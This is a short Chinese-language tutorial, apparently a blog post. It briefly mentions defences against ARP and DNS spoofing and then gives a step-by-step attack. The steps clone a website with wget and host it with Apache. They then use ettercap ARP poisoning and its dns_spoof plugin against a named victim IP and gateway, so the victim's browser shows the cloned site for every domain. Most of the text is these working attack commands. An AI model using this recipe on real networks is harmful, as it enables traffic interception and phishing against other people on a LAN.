1.如何防止arp欺骗
划分vlan和绑定静态的arp表,静态arp表有个弊端就是,如果你绑定的那台旧主机拆走了,接进来另外一台新主机,而你的arp表存的旧主机的mac,这样数据包就转发不出去了,很坑吧,哈哈。
dns解析过程是这样的:先通过本机的host文件解析,如果不能解析,就让最近的dns服务器解析 。其实dns解析还分为递归解析和迭代解析。这里不解释。
如何防止dns欺骗:
直接修改自己的host文件,将你访问的域名和ip地址直接写到里面,这样就不用通过dns服务器了,也就无法被骗 。
2.wget克隆网站
命令格式:wget -d -r -c url地址
下载完后会在当前目录下创建和url同名的文件夹
3.将网站源文件放到httpd的默认文件夹下 /var/www/
4.开始arp欺骗
命令格式: ettercap -Tq -i 网卡 -M arp:remote /要欺骗的ip// /网关ip// 提示:有线网卡一般为eth0,如果你挂载了外接的无限网卡一般为wlan0 欺骗的主机是192.168.43.10 ,网关是192.168.43.1
5.重要一步:修改 vim /etc/ettercap/etter.dns
6.开始dns欺骗
命令格式:
ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /要欺骗的ip// /网关的ip//
7.开启Apache服务
命令:
service apache2 start
检验成果
让被欺骗的那个主机浏览器任意输入一个域名,会发现显示的都是你的网站界面。